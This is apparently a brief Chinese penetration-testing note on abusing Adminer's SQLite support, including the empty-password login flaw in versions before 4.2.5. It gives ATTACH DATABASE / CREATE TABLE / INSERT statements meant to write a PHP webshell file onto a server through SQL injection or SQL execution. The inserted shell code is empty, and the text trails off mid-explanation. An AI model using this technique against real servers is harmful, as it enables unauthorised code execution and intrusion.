adminer利用扩展
常规的方式,类似于phpmyadmin
可以进行文件读取,或者日志写shell
这里提出一个adminer的支持的sqlite扩展项
影响版本
- adminer <4.2.5
在4.2.5版本之前,是可以允许sqlite空密码登录的
在4.2.5-4.6.3版本之间设置了不允许sqlite登陆
在4.6.3版本之上登陆要求密码不能为空,连接密码要求必须为空导致了矛盾
利用方式
SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。
它是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配 置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或 动态连接。
SQLite 直接访问其存储文件。
在存在 sql 注入或者是存在 sql 语句执行的地方执行以下代码:
1 | ATTACH DATABASE '23.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES (''); |
会生成一个 23.php,具体路径要根据实际情况而定,其代码就是
根据文章的意思,先测试 sqlite 的连接
地址在 db 参数上去了,显示无效数据库
构造写码语句:
1 | ATTACH DATABASE 'aaaaaaaaaaaaaaaa.php' AS test ;create TABLE test.exp(dataz text) ;insert INTO test.exp (dataz) VALUES (''); |
执行该语句: